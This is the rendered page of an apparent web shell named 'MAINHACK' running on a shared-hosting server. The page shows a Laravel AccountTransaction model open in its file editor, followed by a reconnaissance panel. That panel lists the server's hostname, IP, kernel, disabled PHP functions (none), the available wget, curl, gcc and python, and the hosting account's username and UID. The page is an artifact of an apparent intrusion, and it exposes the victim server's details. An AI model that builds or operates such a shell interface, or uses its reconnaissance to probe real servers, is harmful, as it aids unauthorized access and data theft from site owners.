[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: AccountTransaction.php
<?php namespace App; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\SoftDeletes; class AccountTransaction extends Model { use SoftDeletes; protected $guarded = ['id']; protected $casts = [ 'operation_date' => 'datetime', ]; public function media() { return $this->morphMany(\App\Media::class, 'model'); } public function transaction() { return $this->belongsTo(\App\Transaction::class, 'transaction_id'); } /** * Gives account transaction type from payment transaction type * * @param string $payment_transaction_type * @return string */ public static function getAccountTransactionType($tansaction_type) { $account_transaction_types = [ 'sell' => 'credit', 'purchase' => 'debit', 'expense' => 'debit', 'purchase_return' => 'credit', 'sell_return' => 'debit', 'payroll' => 'debit', 'expense_refund' => 'credit', 'hms_booking' => 'credit', 'gym_subscription' => 'credit', ]; return $account_transaction_types[$tansaction_type]; } /** * Creates new account transaction * * @return obj */ public static function createAccountTransaction($data) { $transaction_data = [ 'amount' => $data['amount'], 'account_id' => $data['account_id'], 'type' => $data['type'], 'sub_type' => ! empty($data['sub_type']) ? $data['sub_type'] : null, 'operation_date' => ! empty($data['operation_date']) ? $data['operation_date'] : \Carbon::now(), 'created_by' => $data['created_by'], 'transaction_id' => ! empty($data['transaction_id']) ? $data['transaction_id'] : null, 'transaction_payment_id' => ! empty($data['transaction_payment_id']) ? $data['transaction_payment_id'] : null, 'note' => ! empty($data['note']) ? $data['note'] : null, 'transfer_transaction_id' => ! empty($data['transfer_transaction_id']) ? $data['transfer_transaction_id'] : null, ]; $account_transaction = AccountTransaction::create($transaction_data); return $account_transaction; } /** * Updates transaction payment from transaction payment * * @param obj $transaction_payment * @param array $inputs * @param string $transaction_type * @return string */ public static function updateAccountTransaction($transaction_payment, $transaction_type) { if (! empty($transaction_payment->account_id)) { $account_transaction = AccountTransaction::where( 'transaction_payment_id', $transaction_payment->id ) ->first(); if (! empty($account_transaction)) { $account_transaction->amount = $transaction_payment->amount; $account_transaction->account_id = $transaction_payment->account_id; $account_transaction->operation_date = $transaction_payment->paid_on; $account_transaction->save(); return $account_transaction; } else { $accnt_trans_data = [ 'amount' => $transaction_payment->amount, 'account_id' => $transaction_payment->account_id, 'type' => empty($transaction_type) ? $transaction_payment->payment_type : self::getAccountTransactionType($transaction_type), 'operation_date' => $transaction_payment->paid_on, 'created_by' => $transaction_payment->created_by, 'transaction_id' => $transaction_payment->transaction_id, 'transaction_payment_id' => $transaction_payment->id, ]; //If change return then set type as debit if (!empty($transaction_payment->transaction) && $transaction_payment->transaction->type == 'sell' && $transaction_payment->is_return == 1) { $accnt_trans_data['type'] = 'debit'; } self::createAccountTransaction($accnt_trans_data); } } } public function transfer_transaction() { return $this->belongsTo(\App\AccountTransaction::class, 'transfer_transaction_id'); } public function account() { return $this->belongsTo(\App\Account::class, 'account_id'); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.86 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285